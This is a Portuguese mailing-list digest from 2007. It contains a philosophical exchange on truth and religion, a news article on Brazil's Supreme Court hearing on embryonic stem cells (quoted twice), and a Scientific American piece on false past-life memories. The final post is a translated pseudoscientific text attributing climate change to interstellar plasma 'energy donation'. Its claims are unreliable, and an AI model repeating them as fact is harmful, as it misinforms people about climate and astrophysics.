> > --- Filosofica - querer entender deus.
> > --- Religiosa - querer ser deus. (religare)
> >
> > Jeff >>> Não sei se um dia vamos entender a
> verdade,
> > mas SÓ podemos tentar realmente entendê-la de
> forma
> > racional... Óbvio né...
> >
> > --- Sim, o "racional" é a unica forma de
> "entender" a
> > verdade, mas vc pode sentir a verdade também, vc
> pode
> > ser a verdade também. Aliás, vc não apenas pode,
> mas,
> > sendo humano, faz isto o tempo todo.
> >
> > Jeff >>> Pra que aceitar como verdade algo que não
> se
> > entende?
> >
> > --- Concordo com vc que ACEITAR algo como verdade
> não
> > trás nenhum beneficio, mas CONSIDERAR algo como
> uma
> > possivel verdade, mantém sua mente aberta e
> > investigativa.
> >
> > --- Considere isto: o fato de vc não entender algo
> não
> > significa que não seja verdade nem mentira. Por
> > exemplo, vc pode não entender isto aqui: "e=m.c2".
> Mas
> > não significa que não seja verdade nem mentira. Se
> vc
> > considera, mantém sua mente aberta pra investigar
> e
> > buscar o significado real por trás da teoria. O
> mesmo
> > pode acontecer com esta teoria aqui: "deus é
> três". Se
> > vc considera, mantém sua mente aberta e
> investigativa.
> >
> >
> > Jeff >>> Isso, pra mim, é desistir de pensar, de
> > buscar a verdade, e se conformar com uma
> "explicação".
> >
> > --- Concordo com vc.
> >
> > --- Contudo, porque se conformar em acreditar nas
> > "teorias" cientificas? Minha atual observação e
> > conclusão é a seguinte: a grande maioria dos
> > cientistas são tão crentes das teorias cietificas
> como
> > os crentes religiosos são das teorias teológicas.
> Ou
> > seja, repetem feito papagaio o que foram obrigados
> a
> > decorar na escola, mas não sabem o que estão
> dizendo,
> > não sabem o significado dos significantes que
> usam.
> >
> > Jeff >>> Ou então é medo de concluir que a verdade
> > pode ser cruel, feia, sem graça....
> >
> > --- Sim, medo. Medo de vários tipos. Vou falar
> mais
> > sobre isto numa resposta adiante...
> >
> > Jeff >>> As crenças, mesmo que inventadas, são
> mais
> > interessantes, atraentes, não é isso? Como um
> > entorpecente.
> >
> > --- Me engana que eu gosto. É melhor um talvez do
> que
> > um não depois das seis. E por ai vai... Se vc
> acredita
> > que a terra é o centro do universo, se construiu
> todo
> > seu conhecimento sobre isto, como vai reagir a
> noticia
> > de que isto é mentira? Crença dá uma "falsa
> > segurança". E falsa, mas dá. Novamente isto toca a
> > questão do medo: medo é fruto da insegurança.
> >
> > Jeff >>> Eu não preciso aceitar uma invenção de
> alguém
> > pra ter "respostas". Se eu não entendo, fico sem
> > entender oras, mas sempre tentando entender...
> >
> > --- Concordo com vc nisto ai: "fico sem entender,
> mas
> > sempre tentando entender". Ou seja: não preciso de
> uma
> > "falsa segurança", estou seguro com a minha
> > insegurança, e prossigo investigando... Isto é a
> > verdadeira mente cientifica, investigativa. Mente
> > sempre aberta. Sócrates expressou esta postura
> mental
> > assim: "Tudo que sei é que nada sei." . Ele não
> disse
> > que não considerva o conhecimento produzido, mas
> > apenas que não fechava a porta mental.
> >
> > Jeff >>> Vejo que muita gente só se conforma, só
> se
> > sente bem, tendo todas as "respostas".
> >
> > --- E perceba só: ninguém precisa de resposta
> nenhuma
> > pra sentir nada, sentir é outro departamento.
> Teorias
> > não são pra sentir, são pra pensar.
> >
> > Jeff >>> Você não acha engraçado escolher uma
> > "verdade"? :-)
> >
> > --- Como vc disse: é medo. Fechamos a mente por
> medo.
> > É uma questão emocional, não é racional. Se uma
> pessoa
> > não tem medo, porque precisa se fecha? Não
> precisa.
> > Fechar é medo de perder. Porque fechamos uma coisa
> no
> > cofres Medo de perder a coisa. Porque trancamos a
> > verdade no cofre de uma teoria. Medo de perder a
> > verdade. Mas se o que temos é verdade de verade,
> não
> > precisamos ter medo de perde-la, pois a verdade
> não se
> > perde, a verdade é sempre verdade. O que muda é a
> > forma de ver a verdade, a teoria, não a verdade.
> > Assim, o medo não é de perder a verdade, isto é
> > impossivel, o medo é de perder a "crença", a
> "teoria",
> > seja ela teológica, cientifica, filosófica, ou
> > culinária (rs)...
> >
> > Jeff >>> A "decodificação" correta de uma
> informação
> > depende da "chave" correta.
> >
> > --- Sim, concordo. E chave é código, e código é
> > linguagem. Assim, vc pode entender decodificação
> como
> > tradução. Então, se vc pensar que deus se comunica
> em
> > sua própria linguagem, irracional e ilógica, o que
> > fazer os seres humanos?
> >
> > Jeff >>> Não podemos dizer que a ciência tem a
> chave
> > correta, mas busca sempre a que melhor se
> "encaixa".
> >
> > --- A que melhor se encaixa AO SEU PROPOSITO. Isto
> é
> > importante ficar claro. Pois como disse acima, se
> > apenas quero sentir a verdade, não preciso de
> ciencia
> > nenhuma. E ai surge uma pergunta importante: qual
> é o
> > propósito da ciencia? A ciencia tem um propósito?
> Ou é
> > o cientista que tem? Qual é este proposito? E
> porque?
> >
> > Jeff >>> Você não pode "ler" um hieróglifo, por
> > exemplo, do jeito que você quiser, ele tem uma
> > lógica...
> >
> > --- Muito bem observado. Vc sabe que tem uma
> lógica
> > ali, mas não sabe o que significa. Olha que
> > interressante, ao mesmo tempo que os hieróglifo
> não
> > fazem nenhum sentido, sabemos que tem um sentido
> ali.
> > Interressante isto, não? O que acha que isto quer
> > dizer? Vc fez um ótima observação, o que vc acha
> que
> > ele significa?
> >
> > Jeff >>> Mas é exatamente isso que as religiões
> fazem!
> > Lêem o universo do jeito que querem, que gostam...
> >
> > --- Jeff, não é a religião (religare) que faz
> isto,
> > mas os religiosos (seres humanos). Sendo assim,
> peço
> > para que considere a seguinte teoria sobre o
> > comportamente humano:
> >
> > --- Todo ser humano faz o melhor que pode dentro
> das
> > suas possibilidades e espectativas de beneficio.
> Por
> > que alguém beberia veneno se soubesse que o que
> está
> > bebendo é veneno? Observe esta teoria no seu
> cotinuano
> > é depois me diga se, pra vc, é verdade ou mentira.
> >
> >
> > sinceramente
> > ferrari
> >
> >
> >
> >
> >
> >
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SUBJECT: o stf e as células tronco
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, <Conversa_de_Botequim@yahoogrupos.com.br>, <consciencia_sustentavel@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, "Reflita Brasil" <reflitabrasil@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 31/03/2007 22:35

STF ouvirá especialistas para discutir 'quando a vida começa'
Consulta, marcada para 20 de abril, é inédita e pode validar ou não pesquisa com célula-tronco embrionária

Simone Iwasso e Mariângela Gallucci, BRASÍLIA

"Quando a vida começa?" A resposta para questão será debatida em audiência pública convocada pelo Supremo Tribunal Federal. Pela primeira vez em sua história, o STF realizará audiência pública para ouvir especialistas antes de julgar o mérito de uma ação. O tema em foco é o uso de células-tronco de embriões humanos em pesquisas e terapias, dispositivo previsto na Lei de Biossegurança, aprovada em 2005.

A audiência está marcada para o dia 20 de abril e foi convocada pelo ministro Carlos Ayres Britto, relator da ação direta de inconstitucionalidade (Adin) movida pelo procurador-geral da República na época, Claudio Fonteles.

A Lei de Biossegurança foi aprovada no Congresso em 2005, após um debate entre setores da sociedade. Ela permite o uso de células-tronco de embriões humanos produzidos por fertilização in vitro e não utilizados, desde que sejam inviáveis ou congelados há mais de três anos, com o consentimento dos genitores. O governo já liberou R$ 11 milhões para o financiamento de pesquisas feitas em instituições brasileiras.

No entanto, na Adin, o procurador argumenta que "o embrião é um ser humano na fase inicial de sua vida", que começaria na fecundação. Desse modo, ele considera um crime o uso dessas células e cita o artigo 5º da Constituição, que garante a "inviolabilidade do direito à vida". Fonteles é ligado à Igreja.

Carlos Ayres Britto afirmou que decidiu pela audiência pública porque a ação movida pela Procuradoria poderá ter repercussões em vários setores como bioética, medicina, filosofia e religião. "No fundo, a causa em si justifica a convocação da audiência. Homenageamos o pluralismo", afirmou.

"Estou de espírito aberto. Na minha cabeça sempre há uma janela para o mundo circundante", disse. Ele afirmou que vai preparar o julgamento da ação após a audiência. A expectativa nos meios jurídicos é a de que o STF manterá a permissão do uso das células-tronco para pesquisas e terapias. A avaliação é de que, nos últimos anos, com a mudança da composição do tribunal, o Supremo está menos conservador.

SEM ABSOLUTOS

O ministro convocou um grupo de 17 especialistas (veja no quadro ao lado), entre pesquisadores, médicos e advogados que trabalham com células-tronco ou acompanham o debate ético e teórico sobre o tema. Além deles, serão ouvidos outros nove pesquisadores, autores de trabalhos nos quais Fonteles se baseou para redigir a Adin e contestar a lei.

"O que a comunidade científica pode fazer é informar sobre as pesquisas. Até porque acredito que boa parte da discussão ética foi feita há cerca de 20 anos, quando o Brasil permitiu a técnica da fertilização in vitro", explica Luiz Eugênio Araújo de Moraes Mello, pró-reitor de graduação da Universidade Federal de São Paulo (Unifesp) e um dos convidados.

Sobre a discussão em torno do início da vida, proposta por Fonteles, Mello afirma que isso pode ser entendido sobre múltiplos aspectos, e que por isso é importante ter dados claros para o debate. "A sociedade quer buscar respostas absolutas, mas elas não existem no mundo. E enquanto você quiser colocar as coisas por esse prisma, ficará paralisado. A ciência não trabalha com o absoluto, trabalha com as possibilidades", diz.

ESTADO LAICO

Stevens Kastrup Rehen, pesquisador da Universidade Federal do Rio de Janeiro (UFRJ) e presidente da Sociedade Brasileira de Neurociências e Comportamento, defende o debate racional e científico. "A primeira coisa é lembrar que o Estado é laico. Mesmo no campo da religião, a postura contra a lei vem da visão católica. Na China, por exemplo, não há esse dilema. No judaísmo também não. No budismo também não. Então precisamos ter clareza de idéias e separarmos as coisas."

A geneticista Mayana Zatz, pró-reitora de pesquisa da Universidade de São Paulo (USP), o importante é a convocação de especialistas renomados. "Todos trabalham com células-tronco e conhecem o tema", diz.

"O que vai ser definido é um ordenamento jurídico sobre quando começa a vida e a partir de quando o embrião tem direitos constitucionais, o que não existe hoje e tem enorme repercussão, inclusive na polêmica sobre o aborto", afirma a antropóloga Débora Diniz, especialista em bioética da Universidade de Brasília (UnB).

OS CONVOCADOS

Mayana Zatz
Profissão: Geneticista

Atividades: É professora-titular da Universidade de São Paulo e presidente da Associação Brasileira de Distrofia Muscular. Atua com aconselhamento genético e estuda células-tronco

Ricardo Ribeiro dos Santos
Profissão: Médico

Atividades: Pesquisador da Fundação Oswaldo Cruz e coordenador científico do Hospital São Rafael (BA). Estuda terapia de células-tronco para doenças degenerativas

Patrícia Helena Lucas Pranke
Profissão: Farmacêutica

Atividades: É professora da Universidade Federal do Rio Grande do Sul e da PUC-RS, além de presidente do Instituto de Pesquisa com Célula-Tronco

Moisés Goldbaum
Profissão: Médico

Atividades: É professor do departamento de Medicina Preventiva da USP. Atua na área de saúde coletiva, com ênfase em epidemiologia e desigualdades sociais

Rosália Mendez-Otero
Profissão: Médica pesquisadora

Atividades: É professora-titular da Universidade Federal do Rio de Janeiro; estuda a plasticidade do sistema nervoso e o uso de células-tronco para tratar derrames

Luiz Eugenio Araújo de Mello
Profissão: Médico

Atividades: É pró-reitor de Graduação da Unifesp, vice-presidente da Federação das Sociedades de Biologia Experimental. Atua com células-tronco e fisiologia

Antonio Carlos Carvalho
Profissão: Médico

Atividades: Doutorado em Ciências Biológicas pela UFRJ. Coordenador de pesquisa do Instituto Nacional de Cardiologia Laranjeiras e professor visitante do Albert Einstein College of Medicine, EUA

Débora Diniz
Profissão: Antropóloga

Atividades: É diretora-executiva da ONG Instituto de Bioética, Direitos Humanos e Gênero (Anis) e professora da Universidade de Brasília (UnB)

Lygia da Veiga Pereira
Profissão: Biofísica

Atividades: É professora associada da Universidade de São Paulo, com experiência em genética humana. Foi a primeira a trabalhar com células-tronco embrionárias no País, importadas dos EUA

Marco Antonio Zago
Profissão: Médico

Atividades: É diretor da Fundação Hemocentro de Ribeirão Preto, professor da USP e membro da Academia Brasileira de Ciências. Estuda células-tronco adultas

Tarcísio Eloy P. de Barros Filho
Profissão: Médico

Atividades: Chefe do Departamento de Ortopedia e Traumatologia da USP, é especialista em lesões na coluna e testa terapias com células-tronco

Oscar Vilhena Vieira
Profissão: Advogado especialista em direitos humanos

Atividades: É professor da Escola de Direito da FGV e da PUC-SP e diretor-executivo da Conectas Direitos Humanos

Milena Botelho Pereira Soares
Profissão: Bióloga

Atividades: Ligada à Universidade Estadual de Feira de Santana, à Fiocruz/BA e à Fundação Oswaldo Cruz. Atua com terapia com células-tronco e biotecnologia

Drauzio Varella
Profissão: Médico

Atividades: Dirige, ao longo do Rio Negro, um projeto de bioprospecção de plantas brasileiras para testar no combate a células tumorais malignas e a bactérias resistentes a antibióticos

Stevens Kastrup Rehen
Profissão: Neurocientista

Atividades: Presidente da Sociedade Brasileira de Neurociências e Comportamento e professor da UFRJ, cultivou as primeiras células-tronco embrionárias nacionais após a lei

Radovan Borojevic
Profissão: Biólogo

Atividades: É professor titular da Universidade Federal do Rio de Janeiro. Pesquisa regeneração de tecidos, terapia celular, biomateriais e bioengenharia

Esper Abrão Cavalheiro
Profissão: Pesquisador

Atividades: Ex-presidente do CNPq e da CTNBio, é professor-titular da Universidade Federal de São Paulo; com estudos sobre epilepsia e neurologia experimental

O QUE É VIDA
Fecundação: Algumas correntes de pensamento, como a
defendida pela Igreja Católica, entendem que a vida começa no momento da fecundação

Sistema nervoso: Baseando-se no conceito do fim da vida, aceito hoje como sendo a morte cerebral, pode-se entender que a vida começa no início da atividade cerebral

Órgãos vitais: Há também quem defenda que a vida começa quando já estão bem desenvolvidos alguns órgãos vitais do feto, o que acontece a partir da 12.ª semana

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SUBJECT: Remember a Previous Life? Maybe You Have a Bad Memory
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/03/2007 22:55

Remember a Previous Life? Maybe You Have a Bad Memory
Familiarity with an idea makes some people more likely to forget where
it came from—and confuse fact with fiction
By Christopher Mims


Do you sometimes have memories of a mysterious past life? Recall odd
experiences such as being abducted by aliens? Wonder where these
memories come from and if, in fact, you were really once whisked off
in a flying saucer by ETs?

Seems the answer may be simpler than you think—or remember. A new
study shows that people with memories of past lives are more likely
than others to misremember the source of any given piece of information.
ADVERTISEMENT (article continues below)

Study author Maarten Peters of Maastricht University in the
Netherlands tested patients of "reincarnation therapists," who use
hypnosis to help their patients remember "past lives," which the
clients believe are at the root of their current problems.

Subjects were given a memory test known as the false fame paradigm, in
which they were asked to recite a list of unfamiliar names. The next
day, they were shown a list that included those names, new names, and
the names of famous people. The results: subjects who claimed to have
memories of previous lives were more likely than those without such
recollections to misidentify more of the previously recited names as
belonging to famous people.

In other words, people who believe they had previous lives are
committing a source-monitoring error, or an error in judgment about
the original source of a memory. (In this case, they are
misremembering the source—themselves—of nonfamous names.) This is
important because source-monitoring mistakes are the first in a
sequence of events that psychologists believe lead to false memories.

"Once familiarity of an event is achieved, this can relatively easily
be converted into a belief that the event did take place," Peters
says. "A next possible step is that individuals interpret their
thoughts and fantasies about the fictitious event as real memories."

Jim Tucker, a psychiatrist at the University of Virginia Medical
Center, points out, however, that people who are seeking reincarnation
therapy are more likely to have psychological problems or to be
susceptible to hypnosis, either of which could explain the new findings.

"If someone wants to look at the characteristics of people who have
purported past-life memories under hypnosis versus those who don't,"
he says, "the way to design the study would be to recruit subjects
[first] and then hypnotize them."

An earlier study by Susan Clancy of Harvard University showed that
people with memories of being abducted by aliens had similar problems
with poor recall.

"I think the most important finding here is that these people are
highly motivated to seek and endorse some way to explain why they are
suffering from psychological distress," Clancy notes. "There are
plenty of people out there who think they might have been abducted by
aliens—you'll see, ask 20 of your friends—but they don't go so far as
to create false memories."

http://www.sciam.com/article.cfm?articleid=A430214C-E7F2-99DF-3EEED6B0410A5114



SUBJECT: Re: [ciencialist] o stf e as células tronco
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/04/2007 00:19

Parece-me que a questão não foi formulada de forma correta. Vida já existe
no espermatozóide e no óvulo. O que me parece que estão querendo definir é
quando se estrutura de um ser, neste caso, um ser humano.
[]s
José Renato
.......................................
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Sent: Saturday, March 31, 2007 10:35 PM
Subject: [ciencialist] o stf e as células tronco


STF ouvirá especialistas para discutir *quando a vida começa*
Consulta, marcada para 20 de abril, é inédita e pode validar ou não pesquisa
com célula-tronco embrionária

Simone Iwasso e Mariângela Gallucci, BRASÍLIA

"Quando a vida começa?" A resposta para questão será debatida em audiência
pública convocada pelo Supremo Tribunal Federal. Pela primeira vez em sua
história, o STF realizará audiência pública para ouvir especialistas antes
de julgar o mérito de uma ação. O tema em foco é o uso de células-tronco de
embriões humanos em pesquisas e terapias, dispositivo previsto na Lei de
Biossegurança, aprovada em 2005.

A audiência está marcada para o dia 20 de abril e foi convocada pelo
ministro Carlos Ayres Britto, relator da ação direta de
inconstitucionalidade (Adin) movida pelo procurador-geral da República na
época, Claudio Fonteles.

A Lei de Biossegurança foi aprovada no Congresso em 2005, após um debate
entre setores da sociedade. Ela permite o uso de células-tronco de embriões
humanos produzidos por fertilização in vitro e não utilizados, desde que
sejam inviáveis ou congelados há mais de três anos, com o consentimento dos
genitores. O governo já liberou R$ 11 milhões para o financiamento de
pesquisas feitas em instituições brasileiras.

No entanto, na Adin, o procurador argumenta que "o embrião é um ser humano
na fase inicial de sua vida", que começaria na fecundação. Desse modo, ele
considera um crime o uso dessas células e cita o artigo 5º da Constituição,
que garante a "inviolabilidade do direito à vida". Fonteles é ligado à
Igreja.

Carlos Ayres Britto afirmou que decidiu pela audiência pública porque a ação
movida pela Procuradoria poderá ter repercussões em vários setores como
bioética, medicina, filosofia e religião. "No fundo, a causa em si justifica
a convocação da audiência. Homenageamos o pluralismo", afirmou.

"Estou de espírito aberto. Na minha cabeça sempre há uma janela para o mundo
circundante", disse. Ele afirmou que vai preparar o julgamento da ação após
a audiência. A expectativa nos meios jurídicos é a de que o STF manterá a
permissão do uso das células-tronco para pesquisas e terapias. A avaliação é
de que, nos últimos anos, com a mudança da composição do tribunal, o Supremo
está menos conservador.

SEM ABSOLUTOS

O ministro convocou um grupo de 17 especialistas (veja no quadro ao lado),
entre pesquisadores, médicos e advogados que trabalham com células-tronco ou
acompanham o debate ético e teórico sobre o tema. Além deles, serão ouvidos
outros nove pesquisadores, autores de trabalhos nos quais Fonteles se baseou
para redigir a Adin e contestar a lei.

"O que a comunidade científica pode fazer é informar sobre as pesquisas. Até
porque acredito que boa parte da discussão ética foi feita há cerca de 20
anos, quando o Brasil permitiu a técnica da fertilização in vitro", explica
Luiz Eugênio Araújo de Moraes Mello, pró-reitor de graduação da Universidade
Federal de São Paulo (Unifesp) e um dos convidados.

Sobre a discussão em torno do início da vida, proposta por Fonteles, Mello
afirma que isso pode ser entendido sobre múltiplos aspectos, e que por isso
é importante ter dados claros para o debate. "A sociedade quer buscar
respostas absolutas, mas elas não existem no mundo. E enquanto você quiser
colocar as coisas por esse prisma, ficará paralisado. A ciência não trabalha
com o absoluto, trabalha com as possibilidades", diz.

ESTADO LAICO

Stevens Kastrup Rehen, pesquisador da Universidade Federal do Rio de Janeiro
(UFRJ) e presidente da Sociedade Brasileira de Neurociências e
Comportamento, defende o debate racional e científico. "A primeira coisa é
lembrar que o Estado é laico. Mesmo no campo da religião, a postura contra a
lei vem da visão católica. Na China, por exemplo, não há esse dilema. No
judaísmo também não. No budismo também não. Então precisamos ter clareza de
idéias e separarmos as coisas."

A geneticista Mayana Zatz, pró-reitora de pesquisa da Universidade de São
Paulo (USP), o importante é a convocação de especialistas renomados. "Todos
trabalham com células-tronco e conhecem o tema", diz.

"O que vai ser definido é um ordenamento jurídico sobre quando começa a vida
e a partir de quando o embrião tem direitos constitucionais, o que não
existe hoje e tem enorme repercussão, inclusive na polêmica sobre o aborto",
afirma a antropóloga Débora Diniz, especialista em bioética da Universidade
de Brasília (UnB).

OS CONVOCADOS

Mayana Zatz
Profissão: Geneticista

Atividades: É professora-titular da Universidade de São Paulo e presidente
da Associação Brasileira de Distrofia Muscular. Atua com aconselhamento
genético e estuda células-tronco

Ricardo Ribeiro dos Santos
Profissão: Médico

Atividades: Pesquisador da Fundação Oswaldo Cruz e coordenador científico do
Hospital São Rafael (BA). Estuda terapia de células-tronco para doenças
degenerativas

Patrícia Helena Lucas Pranke
Profissão: Farmacêutica

Atividades: É professora da Universidade Federal do Rio Grande do Sul e da
PUC-RS, além de presidente do Instituto de Pesquisa com Célula-Tronco

Moisés Goldbaum
Profissão: Médico

Atividades: É professor do departamento de Medicina Preventiva da USP. Atua
na área de saúde coletiva, com ênfase em epidemiologia e desigualdades
sociais

Rosália Mendez-Otero
Profissão: Médica pesquisadora

Atividades: É professora-titular da Universidade Federal do Rio de Janeiro;
estuda a plasticidade do sistema nervoso e o uso de células-tronco para
tratar derrames

Luiz Eugenio Araújo de Mello
Profissão: Médico

Atividades: É pró-reitor de Graduação da Unifesp, vice-presidente da
Federação das Sociedades de Biologia Experimental. Atua com células-tronco e
fisiologia

Antonio Carlos Carvalho
Profissão: Médico

Atividades: Doutorado em Ciências Biológicas pela UFRJ. Coordenador de
pesquisa do Instituto Nacional de Cardiologia Laranjeiras e professor
visitante do Albert Einstein College of Medicine, EUA

Débora Diniz
Profissão: Antropóloga

Atividades: É diretora-executiva da ONG Instituto de Bioética, Direitos
Humanos e Gênero (Anis) e professora da Universidade de Brasília (UnB)

Lygia da Veiga Pereira
Profissão: Biofísica

Atividades: É professora associada da Universidade de São Paulo, com
experiência em genética humana. Foi a primeira a trabalhar com
células-tronco embrionárias no País, importadas dos EUA

Marco Antonio Zago
Profissão: Médico

Atividades: É diretor da Fundação Hemocentro de Ribeirão Preto, professor da
USP e membro da Academia Brasileira de Ciências. Estuda células-tronco
adultas

Tarcísio Eloy P. de Barros Filho
Profissão: Médico

Atividades: Chefe do Departamento de Ortopedia e Traumatologia da USP, é
especialista em lesões na coluna e testa terapias com células-tronco

Oscar Vilhena Vieira
Profissão: Advogado especialista em direitos humanos

Atividades: É professor da Escola de Direito da FGV e da PUC-SP e
diretor-executivo da Conectas Direitos Humanos

Milena Botelho Pereira Soares
Profissão: Bióloga

Atividades: Ligada à Universidade Estadual de Feira de Santana, à Fiocruz/BA
e à Fundação Oswaldo Cruz. Atua com terapia com células-tronco e
biotecnologia

Drauzio Varella
Profissão: Médico

Atividades: Dirige, ao longo do Rio Negro, um projeto de bioprospecção de
plantas brasileiras para testar no combate a células tumorais malignas e a
bactérias resistentes a antibióticos

Stevens Kastrup Rehen
Profissão: Neurocientista

Atividades: Presidente da Sociedade Brasileira de Neurociências e
Comportamento e professor da UFRJ, cultivou as primeiras células-tronco
embrionárias nacionais após a lei

Radovan Borojevic
Profissão: Biólogo

Atividades: É professor titular da Universidade Federal do Rio de Janeiro.
Pesquisa regeneração de tecidos, terapia celular, biomateriais e
bioengenharia

Esper Abrão Cavalheiro
Profissão: Pesquisador

Atividades: Ex-presidente do CNPq e da CTNBio, é professor-titular da
Universidade Federal de São Paulo; com estudos sobre epilepsia e neurologia
experimental

O QUE É VIDA
Fecundação: Algumas correntes de pensamento, como a
defendida pela Igreja Católica, entendem que a vida começa no momento da
fecundação

Sistema nervoso: Baseando-se no conceito do fim da vida, aceito hoje como
sendo a morte cerebral, pode-se entender que a vida começa no início da
atividade cerebral

Órgãos vitais: Há também quem defenda que a vida começa quando já estão bem
desenvolvidos alguns órgãos vitais do feto, o que acontece a partir da 12.ª
semana

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20:54



SUBJECT: sobre a terra e a vida.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>
DATE: 01/04/2007 10:51

ESTADO PLANETÁRIO FÍSICO DA TERRA E DA VIDA

DR. ALEXEY N. DMITRIEV


Publicado em russo, traduções de IICA, Volume 4, 1997
*Professor of Geologia e Mineralogia, e Membro Chefe Científico do Instituto Unido de Geologia, Geofísica e Mineralogia, Departamento Siberiano da Academia Russa de Ciências, Especialista em Ecologia global.
Tradução para o inglês e edição: A. N. Dmitriev, Andrew Tetenov, e Earl L. Crockett

Atuais alterações planeta físicas da Terra estão se tornando irreversíveis. Existe forte evidência de que estas transformações estão sendo causadas por material altamente carregado e não uniformidade energética no espaço anisotrópico interestelar que tem se quebrado na área interplanetária de nosso sistema solar. Esta "doação" de energia está produzindo processos híbridos e estados excitados de energia em todos os planetas, bem como no Sol. Os efeitos aqui na Terra estão para serem encontrados na aceleração da mudança de pólo magnético, na distribuição vertical e horizontal do conteúdo de ozônio, na aumentada freqüência e magnitude de significativos eventos catastróficos climáticos.

Há a crescente probabilidade de que estamos nos movendo para um rápido período de instabilidade de temperatura similar àquele que aconteceu a dez mil anos atrás. As respostas adaptativas da biosfera e humanidade, estas novas condições podem levar a uma total revisão do alcance das espécies e vida na Terra.

É somente por meio de um profundo entendimento das mudanças fundamentais que ocorrem no meio ambiente natural que cerca os nossos políticos e cidadãos que seremos capazes de alcançar o equilíbrio com o renovado fluxo do estado planeta físico e seus processos.

INTRODUÇÃO

Atualmente em processo, alterações geológicas, geofísicas e climáticas na Terra se tornam mais e mais irreversíveis. Neste momento, pesquisadores, estão revelando algumas das causas que estão levando a uma reorganização geral da eletromagnetosfera [o esqueleto eletromagnético] de nosso planeta e de sua máquina climática. Um maior número de especialistas em climatologia, geofísica e heliofísica está tendendo para uma seqüência causal cósmica do que está acontecendo. De fato, eventos da última década dão forte evidência de significativas transformações heliosférica e planeta físico. [1,2]. Dada a qualidade, quantidade e escala destas transformações, podemos dizer que:

Os processos climáticos e biosféricos, aqui na Terra, embora estreitamente relacionados a um sistema de feedback está diretamente impactados, ligados a processos dominantes transformacionais ocorrendo em nosso Sistema Solar. Devemos começar a organizar nossa atenção e pensar entender que as mudanças climáticas na Terra são somente uma parte, ou link, em uma cadeia inteira de eventos ocorrendo em nossa heliosfera.

Estes profundos processos físicos, estas novas qualidades de nosso meio ambiente físico e geológico, imporão desafios adaptativos especiais a nossa biosfera que terá com estas novas condições físicas da Terra que precisaremos distinguir a tendência geral e a natureza das mudanças. Como veremos abaixo, estas tendências podem ser rastreado na direção do crescimento da capacidade de energia planetário [capacitância] que está levando a um estado altamente excitado ou carregado de alguns sistemas da Terra. As transformações mais intensas estão ocorrendo nos envelopes gás plasma planetário de onde as produtivas possibilidades de nossa biosfera são cronometradas. Atualmente este novo cenário de excesso de energia está sendo formado e observado:

Na ionosfera pela geração de plasma.

Na magnetosfera por tempestades magnéticas.

Na atmosfera por ciclones.

Este fenômeno de alta energia atmosférica, que foi raro no passado, está agora se tornando mais freqüente, intenso e mudado em sua natureza. A composição material do envelope de gás-plasma também está sendo transformada.

É muito natural para toda a biota da Terra ser submetido a estas condições de mudança do campo eletromagnético e as profundas mudanças significativas da máquina climática da Terra. Estes processos fundamentais de mudança criam uma demanda dentro de todos os organismos vivos da Terra para novas formas de adaptação. O natural desenvolvimento destas novas formas pode levar a uma total revisão global do alcance das espécies e da vida na Terra. Novas profundas qualidades de vida podem advir, trazendo o novo estado físico da Terra a um equilíbrio com as novas possibilidades orgânicas de desenvolvimento, reprodução e perfeição. Neste sentido é evidente que estamos diante de um problema de adaptação da humanidade a este novo estado da Terra; novas condições da Terra cujas qualidades biosféricas estão variando e não uniformemente distribuídas. Portanto, o atual período de transição é passageiro, e a transição dos representantes da vida ao futuro pode ocorrer somente depois de uma profunda avaliação do que levará para cumprir com estas novas condições biosféricas terrestres. Cada representante vivo estará realizando um exame inteligente, ou inspeção da qualidade de controle, para determinar sua habilidade em cumprir estas novas condições. Estes desafios evolucionários sempre exigem esforço e resistência; seja aos organismos individuais seja a espécies e comunidades. Portanto, não é somente o clima que está se tornando novo, mas nós como seres humanos estamos vivenciando uma mudança global nos processos vitais dos organismos vivos, ou da própria vida; o que é ainda um outro link no processo total. Não podemos tratar tais coisas separadamente ou individualmente.

1.0 A TRANSFORMAÇÃO DO SISTEMA SOLAR

Listaremos os recentes eventos em larga escala no Sistema Solar objetivando entender completamente as transformações planeta físicas que estão ocorrendo. Este desenvolvimento dos eventos, como tem se tornado claro nos últimos poucos anos, está sendo causado pela não uniformidade material e energética no espaço anisotrópico interestelar [2, 3,4]. Em sua jornada no espaço interestelar, a heliosfera viaja na direção do ápice solar na constelação de Hercules. Neste caminho tem encontrado [década de 1960] não homogeneidades de matéria e de energia contendo íons de hidrogênio, hélio e hidroxila além de outros elementos e combinações. Este tipo de plasma dispersado no espaço interestelar é apresentado pelas estruturas de faixas magnetizadas e estreasses. A transição da heliosfera [sistema solar] por esta estrutura tem levado a um aumento da onda de choque em frente do sistema solar de 3 para 4 AU, para 40 AU, ou mais. Esta onda de choque espessada tem causado a formação de plasma colusivo na camada parietal, o que tem levado a uma sobre dose de plasma ao redor do sistema solar e então a sua inovação nos domínios interplanetários. [5,6]. Esta inovação constitui um tipo de matéria e doação de energias feitas pelo espaço interplanetário ao nosso sistema solar. Em resposta a esta doação de energia/matéria temos observado inúmeros eventos de larga escala:

- Uma série de grandes transformações planeta físicas.

- Uma mudança na qualidade do espaço interplanetário na direção de um aumento em suas propriedades transmissoras interplanetárias e solares planetária.

- O aparecimento de novos estados e novos regimes de atividade do sol.

1.1 Uma série de grandes transformações planeta físicas.

Os seguintes processos estão ocorrendo nos distantes planetas de nosso sistema solar. Mas eles estão, essencialmente falando, operacionalmente dirigindo todo o sistema. Aqui estão exemplos destes eventos:

1.1.1 Um crescimento dos locais negros de Plutão [7].

1.1.2 Relatos de auroras em Saturno [8].

1.1.3 Relatos de mudanças polares em Urano e Netuno (eles são planetas magneticamente conjugados), e o crescimento abrupto em grande escala da intensidade da magnetosfera de Urano.

1.1.4 Uma mudança na intensidade da luz e na dinâmica dos locais de luz em Netuno [9,10].

